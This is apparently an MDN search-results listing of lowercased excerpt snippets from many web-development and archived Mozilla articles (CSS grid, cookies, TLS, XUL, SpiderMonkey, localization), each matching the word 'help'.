choose the method you find most helpful for the problems that you are solving and the designs that you need to implement.
...i find this named areas method very helpful at a prototyping stage, it is easy to play around with the location of elements.
...an 2; grid-row: 2 / 4; } .content { grid-column: col-start 3 / span 8; grid-row: 2 / 4; } .side { grid-column: col-start 11 / span 2; grid-row: 2; } .ad { grid-column: col-start 11 / span 2; grid-row: 3; } .main-footer { grid-column: col-start / span 12; } nav ul { flex-direction: column; } } once again the grid inspector is useful to help us see how our layout has taken shape.
...ding: 10px; text-align: center; } .listing .body { padding: 10px; } .listing { list-style: none; margin: 2em; display: grid; grid-gap: 20px; grid-auto-flow: dense; grid-template-columns: repeat(auto-fill,minmax(200px, 1fr)); } .listing .wide { grid-column-end: span 2; } this technique of using auto-placement with some rules applied to certain items is very useful, and can help you to deal with content that is being output by a cms for example, where you have repeated items and can perhaps add a class to certain ones as they are rendered into the html.

User input and controls - Developer guides
for devices providing a mouse/touchpad as a pointing method, the pointer lock api helps you in implementing a first person 3d game or other applications requiring full control of the pointing device.
... and the fullscreen api helps you in displaying your app in fullscreen mode.
...touch events can help you implement interactive elements and common interaction gestures on touchscreen devices.
...pointer events help developers more easily manage events across devices by normalizing the handling of each one.

Link types - HTML: Hypertext Markup Language
<a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization.
... <a>, <area>, <link> <form> help if the element is <a> or <area>, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants.
... if the element is <link> it indicates that the hyperlink leads to a resource giving further help about the page as a whole.
... obsolete added top, contents, index, glossary, copyright, next, previous, help, and search.

Using HTTP cookies - HTTP
this technique helps prevent session fixation attacks, where a third party can reuse a user's session.
...this precaution helps mitigate cross-site scripting (xss) attacks.
...however, it can be helpful when subdomains need to share information about a user.
...there are companies that offer "cookie banner" code that helps you comply with these regulations.

Privacy, permissions, and information security
modern browsers take steps to help prevent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that prevent it from being used for identification purposes.
... privacy and security controls there are multiple layers of controls for helping to protect users against security and privacy breaches.
... web technologies and features used to enforce security and privacy technology or feature description certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates content security policy provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to prevent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both ...
...this is the technology behind the https (hypertext transport protocol secured) protocol not all of these are generally directly used within code; notably, the permissions api, feature policy, and the allow attribute on <iframe> elements are primary tools directly used by code to help secure a site and its content.

SVG documentation index - SVG: Scalable Vector Graphics
13 svg attribute reference drawing, landing, needshelp, overview, responsive design, svg, svg attribute, svg reference, vector graphics svg elements can be modified using attributes that specify details about exactly how the element should be handled or rendered.
... 270 svg tutorial intermediate, needscontent, needshelp, needsupdate, svg, svg:tutorial scalable vector graphics, svg, is a w3c xml dialect to mark up graphics.
...with this helper, you can assign properties to a complete set of elements.
...this is particularly useful to help svg viewers conserve memory while displaying long-running documents.

Transport Layer Security - Web security
this article's goal is to help you make these decisions to ensure the confidentiality and integrity communication between client and server.
... http over tls tls provides three primary services that help ensure the safety and security of data exchanged with it: authentication authentication lets each party to the communication verify that the other party is who they claim to be.
... to assist you in configuring your site, mozilla provides a helpful tls configuration generator that will generate configuration files for the following web servers: apache nginx lighttpd haproxy amazon web services cloudformation elastic load balancer using the configurator is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes.
... retiring old tls versions to help with working towards a more modern, more secure web, tls 1.0 and 1.1 support will be removed from all major browsers in q1 2020.

Tutorials
whether you are just starting out, learning the basics, or are an old hand at web development, you can find helpful resources here for best practices.
... the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disciplines like text styling and css layout.
... getting started with javascript what is javascript and how can it help you?
...the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you.

XUL Migration Guide - Archive of obsolete content
this guide aims to help you migrate a xul-based add-on to the sdk.
... if your add-on needs a lot of help from third party packages, low-level apis, or xpcom, then the cost of migrating is high, and may not be worth it at this point.
... if your add-on only needs a little help from those techniques, and can accomplish most of what it needs using the supported apis, then it might still be worth migrating: we'll add more supported apis in future releases to meet important use cases.

Guides - Archive of obsolete content
contributor's guide getting started learn how to contribute to the sdk: getting the code, opening/taking a bug, filing a patch, getting reviews, and getting help.
... classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions provided by the sdk to simplify this.
... xul migration xul migration guide techniques to help port a xul add-on to the sdk.

LookupNamespaceURI - Archive of obsolete content
addlookupnamespaceuri(doc); addlookupnamespaceuri(element); function addlookupnamespaceuri (type) { if (!type.prototype.lookupnamespaceuri) { type.prototype.lookupnamespaceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also ju...
...tt.value) { return att.value; } return null; // unknown } } } if (node.parentnode && node.parentnode.nodetype !== 9) { // entityreferences may have to be skipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; case 9: // document_node return lookupnamespaceurihelper(node.documentelement, prefix); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // document_fragment_node return null; // unknown ...
... case 2: // attribute_node if (node.ownerelement) { return lookupnamespaceurihelper(node.ownerelement, prefix); } return null; // unknown default: // text_node (3), cdata_section_node (4), entity_reference_node (5), // processing_instruction_node (7), comment_node (8) if (node.parentnode) { // entityreferences may have to be skipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; // unknown } }; } }()); ...

SVG General - Archive of obsolete content
you will also find some general purpose scripting helpers, that should make scripting svg a little easier.
... dynamic scripting helper this little helper script can be used to simplify creation of svg elements in script.
...attr_map[attribute] : attribute); var value = attributes[attribute]; if (attribute in ns_map) elem.setattributens(ns_map[attribute], name, value); else elem.setattribute(name, value); } return elem; } attributes are packed in a literal object and the helper script unpacks them and adds them to the element.

Developing add-ons - Archive of obsolete content
this page will help guide you to the information you need in order to create add-ons for firefox, thunderbird, or other software based on the mozilla platform, as well as how to distribute your add-ons.
... add-ons topics submitting an add-on to amo provides helpful information for add-on developers to help them properly package and deliver their add-ons.
... performance performance guides and utilities to help you make your add-on perform well (and to play nicely with others).

Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
for example, there is the mozilla amazon browser, which helps with shopping at amazon, and the presentation method in xul, a tool for writing and displaying presentations to try out the code samples in this chapter, save them as text files with .xul extensions and drag and drop them into the firefox browser window.
... help the help button.
... figure 8: a button with an image icon attribute value icon attribute value accept close cancel print help add open remove save refresh find go-forward clear go-back yes properties no select-font apply select-color table 2: values for the icon attribute toolbar buttons the toolbarbutton element is the element used to define toolbar buttons.

Setting Up a Development Environment - Archive of obsolete content
most xul tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help.
...it has an add-on system similar to the one in firefox, and there are some komodo extensions that provide additional help in extension development.
...the chromebug extension helps in making firebug more useful for extension development, but it may still not be powerful enough to replace all of the previously mentioned add-ons.

Index of archived content - Archive of obsolete content
browserapp addtab closetab deck getbrowserfordocument getbrowserforwindow gettabforbrowser gettabforid gettabforwindow loaduri quit selecttab tabs helperapps.jsm home.jsm banner panels homeprovider.jsm homestorage nativewindow contextmenus doorhanger menu...
...g firefox style system overview using microformats firefox sync code snippets javascript client api syncing custom preferences force rtl gre gre registration gecko coding help wanted http class overview hacking wiki help viewer creating a help content pack helper apps (and a bit of save as) hidden prefs how to write and land nanojit patches io guide/directory keys introducing the audio api extension isp data java...
... writing javascript for xhtml xforms building mozilla xforms community developing mozilla xforms implementation status mozilla xforms specials mozilla xforms user interface xforms alert element xforms group element xforms help element xforms hint element xforms input element xforms label element xforms message element xforms output element xforms range element xforms repeat element xforms secret element xforms select element xforms select1 element xforms submit elemen...

Creating a Skin for Firefox/Getting Started - Archive of obsolete content
skin\classic\help help contains all the files for theming the help dialog window.
...into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and preview.png files.
... repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /browser/* /communicator/* /global/* /help/* /mozapps/* /contents.rdf /install.rdf /icon.png /preview.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.

Extension Frequently Asked Questions - Archive of obsolete content
for thunderbird, you may also find the extension howto or faq pages helpful.
... where can i get more help?
... before asking for help, be sure to set the debugging prefs and check the error console for related messages.

Running Tamarin acceptance tests - Archive of obsolete content
shellabc=/users/build/hg/tamarin-redux/generated/shell_toplevel.abc $ export avm=/users/build/hg/tamarin-redux/objdir-release/shell/avmshell $ python runtests.py tamarin tests started: 2010-09-28 10:37:06.410676 current configuration: x64-mac-tvm-release avm version: 5260:6d1899261bac executing 2532 tests against vm: /users/build/hg/builds/5260-6d1899261bac/mac/avmshell_64 2532 running abcasm/abs_helper.as skipping...
...for help on runtests.py options, see below or use python runtests.py -h.
...c:/python26/python.exe ./runtests.py --threads=3 other flags of interest (for a list of all flags, run runtests.py with -h/--help) --nohtml : will suppress the creation of an html output file --rebuildtests : will only rebuild test .abc's, will not attempt to run them.

[Deprecated] The Mozilla build VM - Archive of obsolete content
mentored bugs have a mentor who commits to helping you every step of the way.
...whenever you need help, contact the mentor via matrix, in the bug itself, or by email.
... when you've completed the bug, they will help you get your code into the tree.

Venkman Introduction - Archive of obsolete content
if the source text you are debugging is poorly formatted, pretty print can help make it easier to read by inserting line breaks and whitespace in appropriate places.
...the /help command can be used to get additional information about a specific command.
... you can type /help next, for example, to see how to use the next command.

XML in Mozilla - Archive of obsolete content
please help updating it with current information.
...how can i help?
... if you can code, look for helpwanted keyword in xml bugs.

Attribute (XUL) - Archive of obsolete content
afterselected align allowevents allownegativeassertions alternatingbackground alwaysopenpopup attribute autocheck autocompleteenabled autocompletepopup autocompletesearch autocompletesearchparam autofill autofillaftermatch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols command commandupdater completedefaultindex container containment conten...
...eautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected l...
...nheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onwizardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid page...

Creating a Wizard - Archive of obsolete content
« previousnext » many applications use wizards to help the user through complex tasks.
...the wizards are often used to help the user perform a complex task.
... an example wizard source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="example-window" title="select a dog wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <wizardpage> <description> this wizard will help you select the type of dog that is best for you." </description> <label value="why do you want a dog?"/> <menulist> <menupopup> <menuitem label="to scare people away"/> <menuitem label="to get rid of a cat"/> <menuitem label="i need a best friend"/> </menupopup> </menulist> </wizardpage> <wizardpage description="dog details"> <label val...

prefpane - Archive of obsolete content
attributes helpuri, image, label, onpaneload, selected, src properties image, label, preferenceelements, preferences, selected, src examples methods preferenceforelement <prefpane id="panegeneral" label="general" src="chrome://path/to/paneoverlay.xul"/> or <prefpane id="panegeneral" label="general" onpaneload="ongeneralpaneload(event);"> <preferences> <preference id="pref_one...
...</prefpane> attributes helpuri type: uri the uri of the help page associated with a preference panel.
... the uri will be opened using the help viewer when the help button is pressed.

XULRunner Hall of Fame - Archive of obsolete content
font managing tool for windows and linux, that helps you find the font you're looking for.
... taskpool taskpool is a little application to help keep track of time.
... xuljet a framework that helps to create platform independent desktop applications directly in javascript ...

XUL Explorer - Archive of obsolete content
a xul validator and the error console are both available to help debug problems.
... the help menu provides access to xul information on mdc.
... there is even simple “keyword” help lookup for xul elements.

Gecko Compatibility Handbook - Archive of obsolete content
they are actually replaced by ''-(example removed)-'' the goal of this handbook is to help you update websites to work with standards-based browsers and properly detect gecko.
... if you're new to standards, you may find using web standards in your web pages a helpful introduction.
...you can verify the string got changed by looking under help | about.

Use Case - Archive of obsolete content
it is intended to help people understand why the rss format is the way it is.
... help people understand what the rss format should become.
... and help give developers more insight.

Introduction to Public-Key Cryptography - Archive of obsolete content
certificates help prevent the use of fake public keys for impersonation.
... most importantly, object signing helps users and network administrators implement decisions about software distributed over intranets or the internet-for example, whether to allow java applets signed by a given entity to use specific computer capabilities on specific users' machines.
...ras can be helpful in scaling an pki across different departments, geographical areas, or other operational units with varying policies and authentication requirements.

XForms Custom Controls - Archive of obsolete content
hopefully we can help you avoid a lot of frustration and despair :).
...this will also allow you to be up to date with our current approaches (often the result of hard-learned lessons) and that will hopefully help you to more easily write your own controls.
...the following list shows where the base bindings for our xforms controls are defined: xforms.xml - contains the base bindings for output, label, trigger, submit, case, message, hint, help, alert, upload and repeat xforms controls.

Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers.
... // helper class to implement all necessary nsiclassinfo method stubs // and to set flags used by the security system class nsclassinfomixin : public nsiclassinfo { // these flags are used by the dom and security systems to signal that // javascript callers are allowed to call this object's scritable methods.
... ns_imethod getinterfaces(pruint32 *count, nsiid * **array) {return ns_error_not_implemented;} ns_imethod gethelperforlanguage(pruint32 language, nsisupports **_retval) {return ns_error_not_implemented;} ns_imethod getcontractid(char * *acontractid) {return ns_error_not_implemented;} ns_imethod getclassdescription(char * *aclassdescription) {return ns_error_not_implemented;} ns_imethod getclassid(nscid * *aclassid) {return ns_error_not_implemented;} ns_imethod getclassidnoalloc(nscid ...

Building up a basic demo with Babylon.js - Game development
as with any other 3d library it provides built-in functions to help you implement common 3d functionality more quickly.
...there is one helper variable already included, which will store a reference to the <canvas> element.
...define a helper variable — t — that we will use for animations, just before the renderloop, and decrement it on every frame inside the loop, like this: var t = 0; var renderloop = function () { scene.render(); t -= 0.01; // animation code goes here }; engine.runrenderloop(renderloop); the t variable will be incremented on every rendered frame.

CSS and JavaScript accessibility best practices - Learn web development
css and javascript don't have the same immediate importance for accessibility as html, but they are still able to help or damage accessibility, depending on how they are used.
...you could style form focus/hover states to make this behaviour more consistent across browsers or fit in better with your page design, but don't get rid of it altogether — again, people rely on these clues to help them know what is going on.
... as a final note, we have used some wai-aria attributes in our demo to help solve accessibility problems caused by areas of content constantly updating without a page reload (screen readers won't pick this up or alert users to it by default): <div class="errors" role="alert" aria-relevant="all"> <ul> </ul> </div> we will explain these attributes in our next article, which covers wai-aria in much more detail.

Handling different text directions - Learn web development
as you progress in your study and begin to work with layout, an understanding of writing modes will be very helpful to you, therefore we will introduce them now.
...don't worry too much about that right now, but keep these ideas in mind as you start to look at layout; you will find it really helpful in your understanding of css.
...it will help you in understanding css even if you never use a writing mode other than a horizontal one.

Pseudo-classes and pseudo-elements - Learn web development
once again the relevant mdn page for each selector is helpful in explaining browser support.
...they tend to act as if you had applied a class to some part of your document, often helping you cut down on excess classes in your markup, and giving you more flexible, maintainable code.
...a great example is the site css arrow please, which helps you to generate an arrow with css.

Supporting older browsers - Learn web development
the specification for feature queries also contains the ability to test if a browser does not support a feature — this is only helpful if the browser does support feature queries.
...this also means that there are some outdated articles and tutorials in existence; this useful guide helps you check what you are looking at and can also help if you need flex support in very old browsers.
... the guide to progressive enhancement in grid layout can help you understand the ie version of the grid, and we have included some additional useful links at the end of this lesson.

How CSS is structured - Learn web development
this helps you to remember how the code works as you come back later for fixes or enhancement.
... it also helps others understand the code.
...this helps to navigate the codebase as it gets larger.

Styling lists - Learn web development
this means that each paragraph and list will have the same font size and top and bottom spacing, helping to keep the vertical rhythm consistent.
...this will also help to keep the vertical rhythm consistent.
...html and css have some tools to help you here.

How can we design for all types of users? - Learn web development
this article provides basic tips to help you design websites for any kind of user.
...make it extra easy to read the text, to help visually-impaired people and people using their phones on the street.
...there are various tools to help you, either online or local: installed software.

How to build custom form controls - Learn web development
if you want to learn more about this topic, you should check out the following helpful resources: uxmatters.com uxdesign.com the ux design section of smashingmagazine note: also, in most systems there is a way to open the <select> element with the keyboard to look at all the available choices (this is the same as clicking the <select> element with a mouse).
...*/ box-shadow: 0 0 3px 1px #227755; } now, let's handle the list of options: /* the .select selector here helps to make we only select element inside our control.
...two hints to help you in this: the first argument for all our functions is the same, which means those functions need the same context.

How to structure a web form - Learn web development
using correct structure when building an html form will help ensure that the form is both usable and accessible.
... if there is no label, or if the form control is neither implicitly or explicitly associated with a label, and a screenreader will read out something like "edit text blank", which isn't very helpful at all.
...while this helps inform users what an asterisk means, it can not be relied upon.

Your first form - Learn web development
a web form's html is made up of one or more form controls (sometimes called widgets), plus some additional elements to help structure the overall form — they are often referred to as html forms.
...designing a quick mockup will help you to define the right set of data you want to ask your user to enter.
...forms have way more power than what we saw here and the other articles in this module will help you to master the rest.

Web forms — Working with user data - Learn web development
this module provides a series of articles that will help you master the essentials of web forms.
...we also want to help our users to fill out our forms correctly and not get frustrated when trying to use our apps.
... form validation helps us achieve these goals — this article tells you what you need to know.

Front-end web developer - Learn web development
getting help we have tried to make learning front-end web development as comfortable as possible, but you will probably still get stuck because you don't understand something, or some code is just not working.
...the learning and getting help article provides you with a series of tips for looking up information and helping yourself.
... guides installing basic software — basic tool setup (15 min read) background on the web and web standards (45 min read) learning and getting help (45 min read) semantics and structure with html time to complete: 35–50 hours prerequisites nothing except basic computer literacy, and a basic web development environment.

Tips for authoring fast-loading HTML pages - Learn web development
however, the fewer http requests and single image caching can help reduce page-load time.
...to help the browser render your page quicker, you should avoid nesting your tables.
... note: even though these attributes do help a lot the first time a page is loaded, you should use them but not assume they will work in all browsers.

Looping code - Learn web development
at this point, you probably understand the high-level concepts behind loops, but you are probably thinking "ok, great, but how does this help me write better javascript code?" as we said earlier, loops are all to do with doing the same thing over and over again, which is great for rapidly completing repetitive tasks.
...have a look at the useful string methods article for help.
... if there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help.

Drawing graphics - Learn web development
boo hoo!</p> </canvas> of course, the above message is really unhelpful!
... first of all, add the following helper function to the bottom of your code.
... there are also a number of properties to help control text rendering such as font, which lets you specify font family, size, etc.

Measuring performance - Learn web development
previous overview: performance next meauring performance provides an important metric to help you asses the success of your app, site, or web service.
... tools and metrics there are a number of different tools available to help you improve performance.
... conclusion this article provided a brief overview of the web performance metrics to help introduce you to what you can measure on a web app or site.

Client-Server Overview - Learn web development
as most website server-side code handles requests and responses in similar ways, this will help you understand what you need to do when writing most of your own code.
... obviously web frameworks can help you with a lot of other tasks.
... in a following module we'll help you choose the best web framework for your first site.

Server-side website programming first steps - Learn web development
as most websites' server-side code handles requests and responses in a similar way, this will help you understand what you need to do when writing your own code.
...now we show how web frameworks can simplify these tasks, and help you choose the right framework for your first server-side web application.
...this introductory article won't make you a website security guru, but it will help you understand the first important steps you can take to protect your web application against the most common threats.

React interactivity: Events and state - Learn web development
we want our handlesubmit() function to ultimately help us create a new task, so we need a way to pass information from <form /> to <app />.
...making unique identifiers is a hard problem – one for which the javascript community has written some helpful libraries.
...as a feature of html, the browser knows how to remember which checkbox inputs are checked or unchecked without our help.

Dynamic behavior in Svelte: working with variables and props - Learn web development
we'll create a variable to hold the current filter, and a helper function that will return the filtered todos.
... now we just need to use the helper function in the {#each} loop; update it like this: ...
...filter is a top-level variable, so we might be tempted to remove it from the helper function params, and just call it like this — filtertodos(todo).

Handling common accessibility problems - Learn web development
in bad-form.html, they get an unhelpful label along the lines of "blank".
... finding help there are many other issues you'll encounter with accessibility; the most important thing to know really is how to find answers online.
... consult the html and css article's finding help section for some good pointers.

Deploying our app - Learn web development
github help pages has an excellent and simple walkthrough covering how to get one.
... note: there are also a lot of guides and tutorials on netlify to help you improve your development workflow.
... mkdir tests inside the new directory, create a test file: cd tests touch nasa-feed.test.js open this file, and add the contents of nasa-feed.test.js to it: this test uses the axios package to fetch the data feed we want to test; to install this dependency, run the following command: npm install --save-dev axios we need to manually install axios because parcel won't help us with this dependency.

Accessibility API cross-reference
this cross-reference helps us see the difference between today's accessibility api's.
...<h> is also available but its use is not recommended because of lack of suitable tools - and the heading level is undefined click on this thing and then click on the item for tooltip style help helpballoon n/a n/a n/a editable field that allows user to assign a key combination hotkeyfield n/a n/a n/a graphic that indicates something, such as an arrow indicator n/a n/a n/a abstract role - a generic type of widget that allows user input.
... title or caption of window titlebar n/a n/a <title> a button that can be pushed in or out, but doesn't provide separate indicator of checked state n/a toggle_button toggle_button button with aria-pressed attribute a toolbar toolbar tool_bar tool_bar toolbar the little piece of help text that comes up when you put your mouse over something tooltip tool_tip tool_tip tooltip a grid whose rows can be expanded and collapsed in the same manner as for a tree.

Accessibility information for UI designers and developers
for example, in this chart, it helps to add labels besides the colored chart lines:people who cannot see the difference between the colors, can use the labels instead.
...it is more helpful to describe what an input element is for in text just above or underneath the input.
... to help these users, you could offer a setting to turn off animations, or wrap the css in the prefers-reduce-motion media query.

Browser chrome tests
for example, to run the tests in browser/base/content/test the command would be: ./mach mochitest -f browser browser/base/content/test/ or without mach test_path=<path_to_the_tests> make -c <objdir> mochitest-browser-chrome to run tests in debugger the following should work ./mach mochitest -f browser --debugger gdb browser/base/content/test/ run ./mach help mochitest-browser for more options.
...the eventutils helper functions are available on the eventutils object defined in the global scope.
... you can collect common utils and helpers in a file called head.js, that must live in the same folder as the browser-chrome tests.

HTTP logging
for many bugs, the "log.txt-main" file is the only thing you need to upload as a file attachment to your bugzilla bug (this is assuming you're logging to help a mozilla developer).
... thanks for helping us debug firefox.
... if you are using firefox >= 51, setting this option saves only the last n megabytes of logging data, which helps keep them manageable in size.

XPCOMUtils.jsm
using the generateqi helper queryinterface: xpcomutils.generateqi( [components.interfaces.nsiobserver, components.interfaces.nsimyinterface, "nsifoo", "nsibar" ]), // [optional] classinfo implementation, e.g.
... using the generateci helper.
... // will be automatically returned from queryinterface if that was // generated with the generateqi helper.

Localization content best practices
using meaningful ids could also help in these cases.
...this also helps with localization.
...one possible way to test a patch for localizability issues is to alter the en-us localization files, adding extraneous characters to the original strings: this can help to identify both hard-coded strings and "flexibility issues" in the ui.

Localizing extension metadata on addons.mozilla.org
getting translation help you are kindly advised not to use any automatic online translation, which can bring unpleasant low-quality output to users.
... amo doesn't directly provide translation assistance to extension authors, but there are a couple services that can help: babelzilla.org babelzilla.org is a community dedicated to the localization of extensions for moz family apps.
...they also provide help for adding a localization support to your extension if there is no localization structure yet.

Memory reporting
they provide more information to dmd, which is a tool that helps keep about:memory's "heap-unclassified" number low.
...it helps prevent accidentally having small differences in the function signatures (e.g.
...this helps drive about:memory's heap-unclassified number down.

Performance
the articles linked to from here will help you improve performance, whether you're developing core mozilla code or an add-on.
... xul school: add-on performance tips for add-on developers to help them avoid impairing application performance.
...in particular, they can help you understand why a particular object is being kept alive.

Localization Use Cases
first, there is devicestoragehelper.showformatedsize (sic): function showformatedsize(element, l10nid, size) { if (size === undefined || isnan(size)) { element.textcontent = ''; return; } // kb - 3 kb (nearest ones), mb, gb - 1.2 mb (nearest tenth) var fixeddigits = (size < 1024 * 1024) ?
...tter.getreadablefilesize(size, fixeddigits); var _ = navigator.mozl10n.get; element.textcontent = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } the function is used like so: // application storage updateappfreespace: function storage_updateappfreespace() { var self = this; this.getfreespace(this.appstorage, function(freespace) { devicestoragehelper.showformatedsize(self.appstoragedesc, 'availablesize', freespace); }); }, problem definition for all values of freespace, the following string is enough to construct a grammatically-correct sentence in english: availablesize = {{$size}} {{$unit}} available however, other languages might need to pluralize this string with different forms of the available adjective.
... you'll notice that devicestoragehelper.showformatedsize passes a localized name of the unit to availablesize: function showformatedsize(element, l10nid, size) { // … var _ = navigator.mozl10n.get; element.textcontent = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } problem definition even though there's no need to localize the units in english at all, we still need to do it, because...

Hacking Tips
this page list a few tips to help you investigate issues related to spidermonkey.
... debugging tips getting help (from js shell) use the help function to get the list of all primitive functions of the shell with their description.
... note that some functions have been moved under an 'os' object, and help(os) will give brief help on just the members of that "namespace".

Introduction to the JavaScript shell
anything other than 0 will make javascript run extremely slow but may help reveal or reproduce gc-related bugs.
... help([command ...]) displays brief help information about the specified commands, or about all available functions if none are specified.
... gczeal(zeal) enable extra-frequent gc, to help find gc hazards.

JS_NewRuntime
syntax jsruntime * js_newruntime(uint32_t maxbytes, uint32_t maxnurserybytes = js::defaultnurserybytes, jsruntime *parentruntime = nullptr); jsruntime * js_newruntime(uint32_t maxbytes, jsusehelperthreads usehelperthreads, jsruntime *parentruntime = nullptr); // deprecated since jsapi 32 name type description maxbytes uint32 maximum number of allocated bytes after which garbage collection is run.
...(the engine may use helper threads internally, though.) on success, js_newruntime returns a pointer to the newly created runtime, which the caller must later destroy using js_destroyruntime.
... see also mxr id search for js_newruntime js_init js_destroyruntime js_shutdown bug 714050 - added usehelperthreads parameter bug 964059 - added parentruntime parameter bug 941805 - removed usehelperthreads parameter bug 1034621 - added maxnurserybytes parameter bug 1286795 - js_newruntime is renamed to js_newcontext ...

SpiderMonkey 1.8.5
z js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject js_newdateobject js_newdateobjectmsec js_newfunctionbyid body new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
...bug 614138 introduces a c++ js::anchor<> template class to help tie lexical scope to the conservative gc for cases where the compiler might optimize away important stack/register roots (such as when we access the jschars in a jsstring).

SpiderMonkey 1.8.7
z js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject js_newdateobject js_newdateobjectmsec js_newfunctionbyid body new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
...bug 614138 introduces a c++ js::anchor<> template class to help tie lexical scope to the conservative gc for cases where the compiler might optimize away important stack/register roots (such as when we access the jschars in a jsstring).

SpiderMonkey 1.8.8
new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
... ...list new c++ helpers here...

SpiderMonkey 17
new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
... ...list new c++ helpers here...

Gecko Roles
role_tooltip represents a tooltip that provides helpful hints; this is generally displayed at the mouse cursor position.
... role_helpballoon displays a help topic in the form of a tooltip or help balloon.
... role_character represents a cartoon-like graphic object, such as microsoft office assistant, which is displayed to provide help to users of an application.

Places Developer Guide
however, firefox developers can take advantage of several helper apis that are browser-specific: fuel - a collection of wrapper apis for easing access to a number of firefox utilities and services nsiplacestransactionsservice - a firefox service for modifying bookmarks in a transactional manner, providing facilities for undo/redo places utilities for javascript - accessors and helper functions for firefox and extensions creating bookmarks, folders an...
...// places deals in uris, so here's a helper for creating them.
... getservice(ci.nsiglobalhistory2); var oururi = uri("http://www.mozilla.com"); var isredirect = false; var istoplevel = true; globalhistory.adduri(oururi, isredirect, istoplevel, referreruri); globalhistory.setpagetitle(oururi, "mozilla"); deleting from history // places deals in uris, so here's a helper for creating them.

Places utilities for JavaScript
for instance, normally in order to get access to the bookmarks service, you have to run something like: components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); with places utils all you need to write is: placesutils.bookmarks this should save on the number of references to the service that are needed, and can help clean up interfaces that are already fairly cluttered.
... getquerystringforfolder() helper for getting a serialized places query for a particular folder.
